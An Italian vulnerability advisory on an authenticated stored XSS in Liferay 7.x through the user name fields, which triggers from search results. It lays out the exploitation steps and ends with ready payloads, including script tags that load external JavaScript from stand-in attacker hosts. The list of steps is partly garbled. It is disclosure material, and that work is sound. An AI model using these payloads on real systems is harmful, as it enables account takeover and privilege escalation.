
XSS persistente autenticata in LifeRay 7.2.0 GA1 tramite MyAccountPortlet eseguita dai risultati di ricerca
In LifeRay versione 7.1.0 fino a 7.2.1 GA2 i campi Nome, Secondo Nome e Cognome per gli account utente sono tutti vulnerabili a un problema di XSS Archiviato. Qualsiasi utente può modificare questi campi con un particolare payload XSS che verrà memorizzato nel database "infettando" l'utente. Il payload verrà quindi renderizzato quando un utente utilizza la funzione di ricerca per cercare altri utenti. Se l'utente infetto viene visualizzato come risultato di ricerca, il payload XSS verrà eseguito.
Questa vulnerabilità consente a un attaccante di eseguire codice arbitrario nel contesto di qualsiasi utente che attiva il payload XSS tramite la ricerca. In senso pratico, ciò può portare a un'escalation dei privilegi da un utente non privilegiato a un utente amministrativo, nonché a un movimento laterale nell'assunzione del controllo di altri account. Inoltre, qualsiasi cosa eseguibile tramite JavaScript può essere sfruttata nel contesto di un altro utente.
Come vedrai nel Proof of Concept (PoC), questo è ampiamente aperto poiché l'attaccante ha la capacità di caricare script esterni con facilità in un contesto predefinito.
La maggior parte dei cookie di sessione importanti sono contrassegnati come HTTPOnly, il che impedisce principalmente le tecniche di dirottamento della sessione semplici. Detto questo, va notato che gli utenti che visualizzano la pagina con browser più datati sono ancora più colpiti da ciò a causa degli attacchi XST.
Poiché gli utenti amministratori possono eseguire comandi Gogo Shell e Groovy Script, potrebbe anche essere possibile concatenare questo exploit con queste funzionalità normalmente previste per ottenere un RCE non intenzionale sul sistema host partendo da un utente non privilegiato.
Affinché questa vulnerabilità venga attivata, devono essere soddisfatte due condizioni:
Una volta soddisfatte queste condizioni, è possibile osservare i seguenti passaggi per sfruttare la vulnerabilità:
Impostazioni Account
Impostazioni Accounthttp://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????Salvahttp://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive e clicca sull'icona dei "tre puntini" sul lato destro e seleziona unisciti.http://mysite.com/web/guest/search?q=<my user>
<<SCRIPT>alert("XSS");//<</SCRIPT><SCRIPT SRC="//attacker.site/payload.js"><SCRIPT SRC="//xss.rocks/xss.js"/>Versione report 4.0